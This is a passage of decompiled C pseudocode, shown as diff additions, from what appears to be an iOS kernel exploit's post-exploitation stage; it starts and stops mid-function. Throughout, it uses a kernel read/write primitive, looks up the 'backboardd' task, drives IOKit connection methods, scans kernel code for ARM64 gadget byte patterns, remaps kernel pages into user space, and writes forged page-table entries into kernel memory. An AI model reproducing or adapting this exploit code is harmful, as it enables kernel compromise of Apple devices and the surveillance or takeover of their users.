*(_DWORD *)v316 >> 26 == 37 ) + { + if ( (unsigned int)kreadbuf_last_1( + (struct_krwCtx *)a1, + (__int64)&v96[v97 - 8], + 4, + v316) ) + { + v4[50] = ((*(_DWORD *)v316 >> 10) & 0xFFF) << (*(_DWORD *)v316 >> 30); + v343 = xmmword_43020; + LODWORD(v344[0]) = -117440512; + *(_OWORD *)v316 = xmmword_43030; + *(_DWORD *)&v316[16] = -4194273; + sub_19D10(v9, inputStruct); + v108 = sub_1E2BC((__int64 *)inputStruct, &v343, v316, 5u); + if ( v108 ) + { + if ( (unsigned int)kreadbuf_last_1( + (struct_krwCtx *)a1, + (__int64)v108, + 4, + src_address) ) + { + v4[51] = ((LODWORD(src_address[0]) >> 10) & 0xFFF) << (LODWORD(src_address[0]) >> 30); + *(_QWORD *)&v343 = 0x2900000011000000LL; + *(_QWORD *)v316 = 0x3F0000003FLL; + sub_19D10(v9, inputStruct); + v109 = sub_1E2BC((__int64 *)inputStruct, &v343, v316, 2u); + if ( v109 ) + { + if ( (unsigned int)kreadbuf_last_1( + (struct_krwCtx *)a1, + (__int64)(v109 + 12), + 4, + src_address) ) + { + v4[52] = ((LODWORD(src_address[0]) >> 10) & 0xFFF) << (LODWORD(src_address[0]) >> 30); + v110 = *(_QWORD *)(a1 + 6648); + *(_QWORD *)&v343 = 0x8B020108F9400008LL; + *(_QWORD *)v316 = -4193281; + sub_19D10(v110, inputStruct); + v111 = sub_1E2BC((__int64 *)inputStruct, &v343, v316, 2u); + if ( v111 ) + { + if ( (unsigned int)kreadbuf_last_1( + (struct_krwCtx *)a1, + (__int64)v111, + 4, + src_address) ) + { + v4[53] = ((LODWORD(src_address[0]) >> 10) & 0xFFF) << (LODWORD(src_address[0]) >> 30); + v343 = xmmword_43040; + *(_QWORD *)v316 = -1; + *(_QWORD *)&v316[8] = -1; + sub_19D10((__int64)v10, inputStruct); + v112 = sub_1E2BC((__int64 *)inputStruct, &v343, v316, 4u); + if ( v112 ) + { + v113 = v112; + v114 = 0; + while ( (unsigned int)kreadbuf_last_1( + (struct_krwCtx *)a1, + (__int64)&v113[v114], + 4, + src_address) ) + { + if ( (src_address[0] & 0x1F000000) == 0x10000000 ) + { + v136 = sub_1E854( + (__int64 *)v10, + (__int64 *)&v113[v114]); + v1 = 0; + *((_QWORD *)v4 + 27) = v136; + v21 = 1; + goto LABEL_44; + } + v114 -= 4; + if ( (_DWORD)v114 == -116 ) + goto LABEL_43; + } + } + } + } + } + } + } + } + } + goto LABEL_43; + } + v97 += 4; + if ( (_DWORD)v97 == 276 ) + goto LABEL_43; + } + } + } + goto LABEL_43; + } + v91 += 4; + if ( (_DWORD)v91 == 196 ) + goto LABEL_43; + } + } + goto LABEL_43; + } + v27 = 1; + } + v26 += 4; + if ( (_DWORD)v26 == 196 ) + goto LABEL_43; + } + } + } + } + } + } + } + break; + } + v19 += 4; + if ( (_DWORD)v19 == 76 ) + break; + } + } + } + } +LABEL_43: + v21 = 0; + v1 = 163867; + } + else + { + v21 = 0; + } + } + else + { + v21 = 0; + v1 = 708617; + } +LABEL_44: + sub_1A520(v9); + free((void *)v9); + if ( v10 ) + { + sub_1A520((__int64)v10); + free(v10); + } + if ( !v21 ) + goto LABEL_27; + v28 = *(_QWORD *)(a1 + 7512); + outputStructCnt = 16; + v312 = 16; + v313 = 16; + v29 = sub_32D24(a1); + if ( v29 ) + { + v30 = krw_task_for_name(a1, v29, "backboardd"); + if ( v30 ) + { + v31 = *(_QWORD *)(a1 + 7512); + v32 = kreadptr((struct_krwCtx *)a1, v30); + if ( v32 ) + { + v33 = sub_336B8((struct_krwCtx *)a1, v32, v316, address); + if ( v33 ) + { + if ( *(_DWORD *)v316 ) + { + v34 = v33; + v35 = 0; + while ( kread64_outptr( + (struct_krwCtx *)a1, + v34 + (unsigned int)(LODWORD(address[0]) * v35), + (unsigned __int64 *)inputStruct) ) + { + if ( *(_QWORD *)inputStruct ) + { + if ( !kread32_outptr(a1, *(unsigned __int64 *)inputStruct, target_address) ) + break; + if ( (target_address[0] & 0x80000000) != 0 ) + { + v36 = target_address[0] & 0x3FF; + if ( (target_address[0] & 0x3FF) != 0 ) + { + LODWORD(target_address[0]) = target_address[0] & 0x3FF; + if ( v36 == 29 ) + { + v37 = maybe_ipc_port_get_kobject((struct_krwCtx *)a1, *(unsigned __int64 *)inputStruct); + if ( !v37 ) + break; + v38 = v37; + if ( !kread64_outptr((struct_krwCtx *)a1, v37, src_address) ) + break; + if ( src_address[0] == *(_QWORD *)(v31 + 216) + 16LL ) + { + if ( (unsigned int)sub_36480( + (struct_krwCtx *)a1, + *(unsigned __int64 *)inputStruct, + (mach_port_name_t *)&v343) ) + break; + v83 = v343; + *(_QWORD *)(v31 + 224) = v38; + v4[2] = v83; + if ( v83 ) + { + bzero(inputStruct, 0x408u); + if ( !IOConnectCallStructMethod(v83, 7u, inputStruct, 0x408u, address, &outputStructCnt) ) + { + v4[3] = address[0]; + *((_BYTE *)v4 + 16) = 1; + *(_OWORD *)target_address = xmmword_43050; + if ( !IOConnectCallMethod(v4[2], 0xFu, target_address, 2u, 0, 0, 0, 0, &outputStruct, &v313) ) + { + v84 = v323; + v4[5] = v323; + *((_BYTE *)v4 + 24) = 1; + v85 = v4[2]; + input[0] = v4[3]; + input[1] = v84; + if ( !IOConnectCallScalarMethod(v85, 0x19u, input, 2u, 0, 0) ) + { + size[0] = *(unsigned int *)(a1 + 384); + size[1] = 0; + if ( !IOConnectCallMethod(v4[2], 0xDu, size, 2u, 0, 0, 0, 0, v318, &v312) ) + { + v4[7] = v319; + *((_BYTE *)v4 + 36) = 1; + size[0] = *(unsigned int *)(a1 + 384); + if ( !IOConnectCallMethod(v4[2], 0xDu, size, 2u, 0, 0, 0, 0, v318, &v312) ) + { + v4[8] = v319; + *((_BYTE *)v4 + 37) = 1; + if ( kread64_outptr( + (struct_krwCtx *)a1, + *(_QWORD *)(v28 + 224) + *(unsigned int *)(v28 + 168), + (unsigned __int64 *)(v28 + 232)) + && kread64_outptr( + (struct_krwCtx *)a1, + *(_QWORD *)(v28 + 232) + *(unsigned int *)(v28 + 176), + (unsigned __int64 *)(v28 + 240)) ) + { + v86 = v4[2]; + *(_QWORD *)v316 = v4[3]; + v317 = 56; + *(_OWORD *)&v316[8] = xmmword_43750; + memset(&src_address[1], 0, 48); + LODWORD(src_address[0]) = v4[7]; + HIDWORD(src_address[0]) = src_address[0]; + if ( !IOConnectCallMethod( + v86, + 0x1Au, + (const uint64_t *)v316, + 4u, + src_address, + 0x38u, + 0, + 0, + 0, + 0) ) + { + HIDWORD(src_address[0]) = v4[8]; + if ( !IOConnectCallMethod( + v4[2], + 0x1Au, + (const uint64_t *)v316, + 4u, + src_address, + 0x38u, + 0, + 0, + 0, + 0) + && kread64_outptr( + (struct_krwCtx *)a1, + *(_QWORD *)(v28 + 232) + *(unsigned int *)(v28 + 200), + &v311) + && kread64_outptr( + (struct_krwCtx *)a1, + v311 + *(unsigned int *)(v28 + 204), + &v310) + && kread64_outptr((struct_krwCtx *)a1, v310 + 8 * v4[7], &v309) + && kread64_outptr((struct_krwCtx *)a1, v310 + 8 * v4[8], &v308) + && kread64_outptr( + (struct_krwCtx *)a1, + v309 + *(unsigned int *)(v28 + 208), + &v307) + && kread64_outptr( + (struct_krwCtx *)a1, + v308 + *(unsigned int *)(v28 + 208), + &v306) + && kread64_outptr( + (struct_krwCtx *)a1, + v307 + *(unsigned int *)(v28 + 212), + &v305) + && kread64_outptr( + (struct_krwCtx *)a1, + v306 + *(unsigned int *)(v28 + 212), + &v304) ) + { + sub_2183C(a1, v305 & ~*(_QWORD *)(a1 + 392), (__int64)&v343); + if ( v87 ) + { + v88 = v345 & 0xFFFFFFFFC000LL; + if ( (v345 & 0xFFFFFFFFC000LL) != 0 ) + { + sub_2183C(a1, v304 & ~*(_QWORD *)(a1 + 392), (__int64)&v343); + if ( v89 ) + { + v90 = v345 & 0xFFFFFFFFC000LL; + if ( (v345 & 0xFFFFFFFFC000LL) != 0 + && !(unsigned int)sub_38870( + (struct_krwCtx *)a1, + v88, + (__int64)(v4 + 10)) ) + { + *((_QWORD *)v4 + 19) = *((_QWORD *)v4 + 5); + if ( !(unsigned int)sub_38870( + (struct_krwCtx *)a1, + v90, + (__int64)(v4 + 24)) ) + { + *((_QWORD *)v4 + 20) = *((_QWORD *)v4 + 12); + goto LABEL_67; + } + } + } + } + } + } + } + } + } + } + } + } + } + } + goto LABEL_66; + } + } + } + } + } + if ( (unsigned int)++v35 >= *(_DWORD *)v316 ) + break; + } + } + } + } + } + } + v4[2] = 0; +LABEL_66: + *(_BYTE *)v28 = 1; +LABEL_67: + has_flag = krw_ctx_has_flag((struct_krwCtx *)a1, 0x4000000); + if ( has_flag ) + v40 = 0x292050000LL; + else + v40 = 0x206050000LL; + if ( has_flag ) + v41 = 0xFFFFFC0000000000LL; + else + v41 = 0xFFFFFF8000000000LL; + v1 = sub_38870((struct_krwCtx *)a1, v40, (__int64)inputStruct); + if ( (_DWORD)v1 ) + goto LABEL_27; + v42 = **(_QWORD **)inputStruct; + v43 = krw_ctx_has_flag((struct_krwCtx *)a1, 83886080); + v44 = -2; + if ( !v43 ) + v44 = 0xFFFFFFFFELL; + v45 = v44 & v42; + sub_38BCC(a1, (__int64)inputStruct); + *((_QWORD *)v4 + 33) = v45; + v46 = sub_18B14(); + *((_QWORD *)v4 + 31) = v46; + v47 = 163855; + if ( !v46 ) + goto LABEL_370; + v1 = sub_38870((struct_krwCtx *)a1, *((_QWORD *)v4 + 33), (__int64)inputStruct); + if ( (_DWORD)v1 ) + goto LABEL_27; + v48 = *(__int64 **)inputStruct; + do + v49 = *v48++; + while ( v49 != 0x7777777777777700LL ); + v50 = *(v48 - 5); + *((_QWORD *)v4 + 38) = v50; + v51 = *(v48 - 4) - v50; + *((_QWORD *)v4 + 37) = v41; + *((_QWORD *)v4 + 39) = v50 - v41; + *((_QWORD *)v4 + 40) = v51; + *((_QWORD *)v4 + 36) = *v48; + *((_QWORD *)v4 + 35) = v48[7]; + sub_38BCC(a1, (__int64)inputStruct); + v52 = *((_QWORD *)v4 + 33); + v53 = *((_QWORD *)v4 + 39); + v54 = *(unsigned int *)(a1 + 384); + LODWORD(outputStruct) = 3; + LODWORD(input[0]) = 3; + v55 = vm_allocate(mach_task_self_, address, v53, 1); + if ( v55 ) + { +LABEL_81: + v7 = v55 | 0x80000000; + goto LABEL_26; + } + if ( v53 >= v54 ) + { + v56 = 0; + if ( v53 / v54 <= 1 ) + v57 = 1; + else + v57 = v53 / v54; + while ( 1 ) + { + v58 = sub_38870((struct_krwCtx *)a1, v52 + v56 * *(unsigned int *)(a1 + 384), (__int64)src_address); + if ( (_DWORD)v58 ) + break; + v59 = *(unsigned int *)(a1 + 384); + target_address[0] = address[0] + v56 * v59; + v55 = vm_remap( + mach_task_self_, + target_address, + v59, + 0, + 0x4000, + mach_task_self_, + src_address[0], + 0, + (vm_prot_t *)&outputStruct, + (vm_prot_t *)input, + 1u); + if ( v55 ) + goto LABEL_81; + if ( ++v56 == v57 ) + goto LABEL_89; + } + v7 = v58; + goto LABEL_26; + } +LABEL_89: + v60 = 0; + v61 = 0; + *((_QWORD *)v4 + 41) = address[0]; + *((_QWORD *)v4 + 42) = v53; + v62 = *(_QWORD *)(a1 + 7512); + v63 = *(_QWORD *)(v62 + 296); + v64 = *((_QWORD *)v4 + 34); + v65 = *(_QWORD *)(v62 + 328); + v66 = (unsigned __int8 *)(*((_QWORD *)v4 + 36) - v63 + v65); + v67 = (unsigned __int8 *)(*((_QWORD *)v4 + 35) - v63 + v65); + do + { + v68 = *v66++; + v64 |= (unsigned __int64)v68 << v60; + *((_QWORD *)v4 + 34) = v64; + v69 = *v67++; + v61 |= (unsigned __int64)v69 << v60; + v60 += 8; + } + while ( v60 != 64 ); + v70 = sub_18B14(); + *((_QWORD *)v4 + 32) = v70; + if ( !v70 ) + goto LABEL_26; + v71 = sub_18B14(); + *((_QWORD *)v4 + 74) = v71; + if ( !v71 ) + goto LABEL_26; + v343 = xmmword_43060; + *(_OWORD *)v316 = xmmword_43070; + v72 = sub_18D68(a1, &v343, v316, 4u); + if ( !v72 + || ((v74 = *((_DWORD *)v72 + 2), + v75 = *((unsigned int *)v72 + 3), + v73 = v72 + 8, + v76 = (v75 >> 10) & 0xFFF, + (v75 & 0x40000000) == 0) + ? (v77 = 2) + : (v77 = 3), + (unsigned int)sub_18DF0( + a1, + (v76 << v77) + + (int)(((v74 >> 3) & 0xFFFFFFFC | (v74 >> 29) & 3) << 12) + + ((unsigned __int64)&v73[*(_QWORD *)(*(_QWORD *)(a1 + 7512) + 296LL) + - *(_QWORD *)(*(_QWORD *)(a1 + 7512) + 328LL)] + & 0xFFFFFFFFFFFFF000LL), + inputStruct)) ) + { + *((_QWORD *)v4 + 43) = 0; + goto LABEL_26; + } + v220 = *(_QWORD *)inputStruct == -72; + *((_QWORD *)v4 + 43) = *(_QWORD *)inputStruct + 72LL; + if ( v220 ) + goto LABEL_26; + v78 = *(_QWORD **)(a1 + 7512); + v80 = (char *)v78[41]; + v79 = v78[42]; + v81 = (unsigned __int64)&v80[v79]; + if ( v80 >= &v80[v79] ) + goto LABEL_144; + v82 = 0; + while ( *(_DWORD *)&v80[v82] != -717500319 ) + { + v82 += 4; + if ( (unsigned __int64)&v80[v82] >= v81 ) + goto LABEL_144; + } + if ( (unsigned __int64)&v80[v82 + 4] >= v81 ) + { +LABEL_144: + *((_QWORD *)v4 + 44) = 0; + goto LABEL_26; + } + v92 = v78[37]; + *((_QWORD *)v4 + 44) = v92 + v82; + if ( !(v92 + v82) ) + goto LABEL_26; + *(_QWORD *)&v343 = 0xD65F03C0F8226801LL; + *(_QWORD *)v316 = -1; + v93 = sub_18D68(a1, &v343, v316, 2u); + if ( !v93 ) + { + *((_QWORD *)v4 + 45) = 0; + goto LABEL_26; + } + *((_QWORD *)v4 + 45) = v93 - v80 + v92; + if ( !(v93 - v80 + v92) ) + goto LABEL_26; + while ( 1 ) + { + v94 = *(_DWORD *)v80; + v80 += 4; + if ( v94 == -1861991455 ) + break; + v92 += 4; + if ( (unsigned __int64)v80 >= v81 ) + goto LABEL_172; + } + if ( (unsigned __int64)v80 >= v81 ) + { +LABEL_172: + *((_QWORD *)v4 + 46) = 0; + goto LABEL_26; + } + *((_QWORD *)v4 + 46) = v92; + if ( !v92 ) + { +LABEL_26: + v1 = v7; + goto LABEL_27; + } + v344[0] = 0; + v343 = 0u; + *(_DWORD *)((char *)v344 + 7) = 0; + v98 = calloc(*(unsigned int *)(a1 + 384), 1u); + if ( !v98 ) + { +LABEL_213: + *((_QWORD *)v4 + 48) = 0; + goto LABEL_26; + } + v99 = v98; + v100 = krw_ctx_has_flag((struct_krwCtx *)a1, 0x4000000); + if ( v100 ) + v101 = 0xFFFFFC200008C000LL; + else + v101 = 0xFFFFFFA00008C000LL; + if ( v100 ) + v102 = 0xFFFFFC2000020000LL; + else + v102 = 0xFFFFFFA000020000LL; + v103 = v102; + do + { + v104 = sub_18EA4(a1, v103, 0, 0); + if ( !v104 ) + { + v106 = *(unsigned int *)(a1 + 384); + *((_BYTE *)&v344[-2] + (v103 - v102) / v106) = -1; + goto LABEL_169; + } + if ( (unsigned int)sub_38870((struct_krwCtx *)a1, v104, (__int64)inputStruct) ) + { +LABEL_212: + free(v99); + goto LABEL_213; + } + v105 = *(unsigned int *)(a1 + 384); + if ( !memcmp(*(const void **)inputStruct, v99, v105) ) + *((_BYTE *)&v344[-2] + (v103 - v102) / v105) = 1; + sub_38BCC(a1, (__int64)inputStruct); + v106 = *(unsigned int *)(a1 + 384); +LABEL_169: + v103 += v106; + } + while ( v103 < v101 ); + if ( BYTE13(v343) == 1 ) + { + v107 = v102 + 13 * v106; + free(v99); + *((_QWORD *)v4 + 48) = v107; + goto LABEL_191; + } + v115 = 0; + while ( v115 != 13 ) + { + v116 = *((unsigned __int8 *)&v343 + v115++ + 14); + if ( v116 == 1 ) + { + v117 = v115 + 13; + goto LABEL_190; + } + } + v117 = 12; + while ( *((_BYTE *)&v344[-2] + v117) != 1 ) + { + if ( !--v117 ) + goto LABEL_212; + } +LABEL_190: + v118 = v102 + v117 * v106; + free(v99); + *((_QWORD *)v4 + 48) = v118; + if ( !v118 ) + goto LABEL_26; +LABEL_191: + v119 = *(_QWORD **)(a1 + 7512); + v343 = xmmword_43080; + LODWORD(v344[0]) = 335544320; + *(_OWORD *)v316 = xmmword_43090; + *(_DWORD *)&v316[16] = -67108864; + v120 = sub_18D68(a1, &v343, v316, 5u); + if ( !v120 ) + { + *((_QWORD *)v4 + 51) = 0; + goto LABEL_26; + } + v121 = v119[41]; + v122 = v119[37]; + v123 = &v120[v122 - v121]; + v125 = *((_DWORD *)v120 + 1); + v124 = v120 + 4; + v126 = ((unsigned __int64)v125 >> 3) & 0x1FFFFC; + v127 = ((unsigned __int64)v125 >> 3) & 0xFFFFC | 0xFFFFFFFFFFF00000LL; + if ( (((unsigned __int64)v125 >> 3) & 0x100000) != 0 ) + v128 = v127; + else + v128 = v126; + v129 = (unsigned __int64)&v124[v122 - v121 + v128]; + if ( !(unsigned int)sub_18DF0(a1, v129, (_QWORD *)v4 + 52) && krw_ctx_has_flag((struct_krwCtx *)a1, 0x4000) ) + v119[56] = v129; + *((_QWORD *)v4 + 51) = v123; + if ( !v123 || !*((_QWORD *)v4 + 52) || krw_ctx_has_flag((struct_krwCtx *)a1, 0x4000) && !*((_QWORD *)v4 + 56) ) + goto LABEL_26; + *(_QWORD *)inputStruct = 0xD5033FDFD5033F9FLL; + *(_DWORD *)&inputStruct[8] = -698416192; + *(_QWORD *)&v343 = -1; + DWORD2(v343) = -1; + v130 = sub_18D68(a1, inputStruct, &v343, 3u); + if ( !v130 ) + { + *((_QWORD *)v4 + 53) = 0; + goto LABEL_26; + } + v131 = *(_QWORD **)(a1 + 7512); + v132 = (char *)v131[41]; + v133 = v131[37]; + *((_QWORD *)v4 + 53) = v130 - v132 + v133; + if ( !(v130 - v132 + v133) ) + goto LABEL_26; + v134 = &v132[v131[42]]; + if ( v132 >= v134 ) + goto LABEL_249; + while ( 1 ) + { + v135 = *(_DWORD *)v132; + v132 += 4; + if ( v135 == 335544320 ) + break; + v133 += 4; + if ( v132 >= v134 ) + goto LABEL_249; + } + if ( v132 >= v134 ) + { +LABEL_249: + *((_QWORD *)v4 + 54) = 0; + goto LABEL_26; + } + *((_QWORD *)v4 + 54) = v133; + if ( !v133 ) + goto LABEL_26; + if ( !krw_ctx_has_flag((struct_krwCtx *)a1, 540672) ) + goto LABEL_221; + v343 = xmmword_430A0; + *(_QWORD *)v316 = -1; + *(_QWORD *)&v316[8] = -1; + v137 = sub_18D68(a1, &v343, v316, 4u); + if ( !v137 ) + { + *((_QWORD *)v4 + 55) = 0; + goto LABEL_26; + } + v138 = &v137[*(_QWORD *)(*(_QWORD *)(a1 + 7512) + 296LL) - *(_QWORD *)(*(_QWORD *)(a1 + 7512) + 328LL)]; + *((_QWORD *)v4 + 55) = v138; + if ( !v138 ) + goto LABEL_26; +LABEL_221: + if ( !krw_ctx_has_flag((struct_krwCtx *)a1, 0x4000) ) + goto LABEL_269; + *(_OWORD *)inputStruct = xmmword_430B0; + *(_QWORD *)&inputStruct[16] = 3573563583LL; + v343 = xmmword_430C0; + v344[0] = 0xFFFFFFFFLL; + v139 = sub_18D68(a1, inputStruct, &v343, 6u); + if ( !v139 ) + { + *((_QWORD *)v4 + 60) = 0; + goto LABEL_26; + } + v140 = *(unsigned int *)v139; + v141 = (v140 >> 3) & 0x1FFFFC | (v140 >> 29) & 3; + if ( ((v140 >> 3) & 0x100000) != 0 ) + v141 |= 0xFFFFFFFFFFF00000LL; + v142 = *(_QWORD *)(a1 + 7512); + v143 = *(_QWORD *)(v142 + 328); + v144 = *(_QWORD *)(v142 + 296); + v145 = &v139[v144 - v143 + v141]; + if ( (unsigned int)v140 >> 5 == 111724032 ) + { +LABEL_230: + v149 = *((_DWORD *)v139 - 2); + v148 = v139 - 8; + v150 = ((unsigned __int64)v149 >> 3) & 0x1FFFFC | ((unsigned __int64)v149 >> 29) & 3; + v151 = v150 | 0xFFFFFFFFFFF00000LL; + if ( (((unsigned __int64)v149 >> 3) & 0x100000) == 0 ) + v151 = v150; + *((_QWORD *)v4 + 57) = &v148[v144 - v143 + v151]; + } + else + { + v146 = 0; + while ( (_DWORD)v146 != 112 ) + { + v147 = *(_DWORD *)&v139[v146 + 4] & 0xFFFFFFE0; + v146 += 4; + if ( v147 == -719798272 ) + { + v139 += v146; + goto LABEL_230; + } + } + } + *((_QWORD *)v4 + 60) = v145; + if ( !v145 || !*((_QWORD *)v4 + 57) ) + goto LABEL_26; + *(_QWORD *)&v343 = 0xD65F03C000201421LL; + *(_QWORD *)v316 = -1; + v152 = sub_18D68(a1, &v343, v316, 2u); + if ( !v152 ) + { + *((_QWORD *)v4 + 58) = 0; + goto LABEL_26; + } + v153 = *(_QWORD *)(v142 + 296); + *((_QWORD *)v4 + 58) = &v152[v153 - v143]; + if ( !&v152[v153 - v143] ) + goto LABEL_26; + v343 = xmmword_430D0; + LODWORD(v344[0]) = 683767869; + *(_OWORD *)v316 = xmmword_430E0; + *(_DWORD *)&v316[16] = -1; + v154 = sub_18D68(a1, &v343, v316, 5u); + if ( !v154 ) + { + *((_QWORD *)v4 + 59) = 0; + goto LABEL_26; + } + *((_QWORD *)v4 + 59) = &v154[v153 - v143]; + if ( !&v154[v153 - v143] ) + goto LABEL_26; + *(_QWORD *)&v343 = 0x201400A8C17BFDLL; + *(_QWORD *)v316 = -1; + v155 = sub_18D68(a1, &v343, v316, 2u); + if ( !v155 ) + { + *((_QWORD *)v4 + 61) = 0; + goto LABEL_26; + } + *((_QWORD *)v4 + 61) = &v155[v153 - v143]; + if ( !&v155[v153 - v143] ) + goto LABEL_26; + v343 = xmmword_430F0; + *(_QWORD *)v316 = -1; + *(_QWORD *)&v316[8] = -1; + v156 = sub_18D68(a1, &v343, v316, 4u); + if ( !v156 ) + { + *((_QWORD *)v4 + 62) = 0; + goto LABEL_26; + } + *((_QWORD *)v4 + 62) = &v156[v153 - v143]; + if ( !&v156[v153 - v143] ) + goto LABEL_26; + *(_QWORD *)inputStruct = 3577217186LL; + *(_DWORD *)&inputStruct[8] = -1442839579; + *(_QWORD *)&v343 = 0xFFFFFFFFLL; + DWORD2(v343) = -1; + v157 = sub_18D68(a1, inputStruct, &v343, 3u); + if ( !v157 + || ((v158 = v157, + v159 = (unsigned __int64 *)(v4 + 130), + v160 = *((unsigned int *)v157 + 4), + ((v160 >> 3) & 0x100000) != 0) + ? (v161 = (v160 >> 3) & 0xFFFFC | 0xFFFFFFFFFFF00000LL) + : (v161 = (v160 >> 3) & 0x1FFFFC), + v162 = (unsigned __int64)&v157[v153 - v143 + 16 + v161], + *v159 = v162, + (unsigned int)sub_18DF0(a1, v162, (_QWORD *)v4 + 65)) ) + { + *((_QWORD *)v4 + 63) = 0; + goto LABEL_26; + } + v163 = &v158[v153 - v143]; + *((_QWORD *)v4 + 63) = v163; + if ( !v163 || !*v159 ) + goto LABEL_26; + v343 = xmmword_43100; + LODWORD(v344[0]) = -700514048; + *(_OWORD *)v316 = xmmword_43110; + *(_DWORD *)&v316[16] = -1; + v164 = sub_18D68(a1, &v343, v316, 5u); + if ( !v164 ) + { + *((_QWORD *)v4 + 64) = 0; + goto LABEL_26; + } + v165 = *(_QWORD *)(a1 + 7512); + v166 = *(_QWORD *)(v165 + 328); + v167 = *(_QWORD *)(v165 + 296); + *((_QWORD *)v4 + 64) = &v164[v167 - v166]; + if ( !&v164[v167 - v166] ) + goto LABEL_26; + v343 = xmmword_43120; + *(_OWORD *)v316 = xmmword_43130; + v168 = sub_18D68(a1, &v343, v316, 4u); + if ( !v168 + || ((v170 = *((_DWORD *)v168 + 1), + v169 = v168 + 4, + v171 = ((unsigned __int64)v170 >> 3) & 0x1FFFFC, + v172 = ((unsigned __int64)v170 >> 3) & 0xFFFFC | 0xFFFFFFFFFFF00000LL, + (((unsigned __int64)v170 >> 3) & 0x100000) != 0) + ? (v173 = v172) + : (v173 = v171), + *(_QWORD *)inputStruct = &v169[v167 - v166 + v173], + (unsigned int)sub_18DF0(a1, *(unsigned __int64 *)inputStruct, inputStruct)) ) + { + *((_QWORD *)v4 + 66) = 0; + goto LABEL_26; + } + v174 = *(_QWORD *)inputStruct; + *((_QWORD *)v4 + 66) = *(_QWORD *)inputStruct; + if ( !v174 ) + goto LABEL_26; + *(_OWORD *)(v4 + 134) = xmmword_43140; + *(_OWORD *)(v4 + 138) = xmmword_43150; + *(_OWORD *)(v4 + 142) = xmmword_43160; + *((_QWORD *)v4 + 73) = 0xFFFFFFF002018000LL; +LABEL_269: + v175 = krw_ctx_has_flag((struct_krwCtx *)a1, 0x4000000); + v176 = 0xFFFFFC2000000000LL; + if ( !v175 ) + v176 = 0xFFFFFFA000000000LL; + v177 = vdup_n_s32(!v175); + v178.i64[0] = v177.u32[0]; + v178.i64[1] = v177.u32[1]; + *((_QWORD *)v4 + 47) = v176; + *(int8x16_t *)(v4 + 98) = vbslq_s8( + (int8x16_t)vshrq_n_s64(vshlq_n_s64(v178, 0x3Fu), 0x3Fu), + (int8x16_t)xmmword_43180, + (int8x16_t)xmmword_43170); + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 41), *((_QWORD *)v4 + 42)); + *((_QWORD *)v4 + 41) = 0; + *((_QWORD *)v4 + 42) = 0; + v1 = sub_18FCC((struct_krwCtx *)a1, *((_QWORD *)v4 + 48), (_QWORD *)v4 + 75); + if ( (_DWORD)v1 ) + goto LABEL_27; + v1 = sub_18FCC((struct_krwCtx *)a1, *((_QWORD *)v4 + 47), (_QWORD *)v4 + 85); + if ( (_DWORD)v1 ) + goto LABEL_27; + v1 = 708617; + v179 = *(_QWORD **)(a1 + 7512); + LODWORD(size[0]) = 0x4000; + v180 = sub_37210(a1, (unsigned int *)size); + if ( !v180 ) + goto LABEL_27; + v181 = v180; + sub_2183C(a1, v180 & ~*(_QWORD *)(a1 + 392), (__int64)src_address); + v182 = 0xFFFFFFFFLL; + if ( !v183 || (v184 = src_address[4] & 0xFFFFFFFFC000LL, (src_address[4] & 0xFFFFFFFFC000LL) == 0) ) + { +LABEL_318: + sub_36E4C(a1, v181, LODWORD(size[0])); + v1 = v182; + goto LABEL_27; + } + if ( krw_ctx_has_flag((struct_krwCtx *)a1, 0x4000) ) + v185 = sub_3796C(a1, size); + else + v185 = sub_37210(a1, (unsigned int *)size); + v186 = v185; + if ( !v185 ) + { + v182 = 708617; + goto LABEL_318; + } + sub_2183C(a1, v185 & ~*(_QWORD *)(a1 + 392), (__int64)src_address); + v182 = 0xFFFFFFFFLL; + if ( !v187 ) + goto LABEL_317; + v188 = src_address[4] & 0xFFFFFFFFC000LL; + if ( (src_address[4] & 0xFFFFFFFFC000LL) == 0 ) + goto LABEL_317; + v300 = sub_37210(a1, (unsigned int *)size); + if ( !v300 ) + { + v182 = 708617; +LABEL_317: + sub_36E4C(a1, v186, LODWORD(size[0])); + goto LABEL_318; + } + sub_2183C(a1, v300, (__int64)&v343); + if ( !v189 ) + { + v182 = 0xFFFFFFFFLL; +LABEL_316: + sub_36E4C(a1, v300, LODWORD(size[0])); + goto LABEL_317; + } + *(_QWORD *)v295 = v343; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v343, 8, target_address) ) + { + v182 = 163855; + goto LABEL_316; + } + sub_2183C(a1, *(_QWORD *)v295 & ~*(_QWORD *)(a1 + 392), (__int64)src_address); + v182 = 0xFFFFFFFFLL; + if ( !v190 ) + goto LABEL_316; + v288 = src_address[4]; + if ( (src_address[4] & 0xFFFFFFFFC000LL) == 0 ) + goto LABEL_316; + v290 = sub_37210(a1, (unsigned int *)size); + if ( !v290 ) + { + v182 = 708617; + goto LABEL_316; + } + sub_2183C(a1, v290, (__int64)&v343); + if ( !v191 ) + { + v182 = 0xFFFFFFFFLL; + goto LABEL_315; + } + sub_2183C(a1, v343 & ~*(_QWORD *)(a1 + 392), (__int64)src_address); + v182 = 0xFFFFFFFFLL; + if ( !v192 || (v287 = src_address[4] & 0xFFFFFFFFC000LL, (src_address[4] & 0xFFFFFFFFC000LL) == 0) ) + { +LABEL_315: + sub_36E4C(a1, v290, LODWORD(size[0])); + goto LABEL_316; + } + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v179[74], 64, inputStruct) ) + { + v182 = 163855; + goto LABEL_315; + } + if ( !(unsigned int)kwritebuf_last_1(a1, v181, (__int64)inputStruct, 64) + || (*(_QWORD *)v316 = v188 | 3, !(unsigned int)kwritebuf_last_1(a1, v181 + 56, (__int64)v316, 8)) + || (address[0] = v288 & 0xFFFFFE000000LL | 0x20000000000445LL, + !(unsigned int)kwritebuf_last_1(a1, v186, (__int64)address, 8)) ) + { + v182 = 163856; + goto LABEL_315; + } + v193 = krw_ctx_has_flag((struct_krwCtx *)a1, 0x4000000); + v194 = 0xFFFFFC7000000000LL; + if ( !v193 ) + v194 = 0xFFFFFFF000000000LL; + v286 = v194; + if ( krw_ctx_has_flag((struct_krwCtx *)a1, 0x80000) ) + { + v195 = sub_3796C(a1, size); + if ( v195 ) + { + v196 = v195; + sub_2183C(a1, v195 & ~*(_QWORD *)(a1 + 392), (__int64)src_address); + v182 = 0xFFFFFFFFLL; + if ( v197 ) + { + v285 = src_address[4] & 0xFFFFFFFFC000LL; + if ( (src_address[4] & 0xFFFFFFFFC000LL) != 0 ) + { + sub_18EA4(a1, v179[50], &outputStruct, 1); + if ( outputStruct ) + { + sub_2183C(a1, outputStruct & ~*(_QWORD *)(a1 + 392), 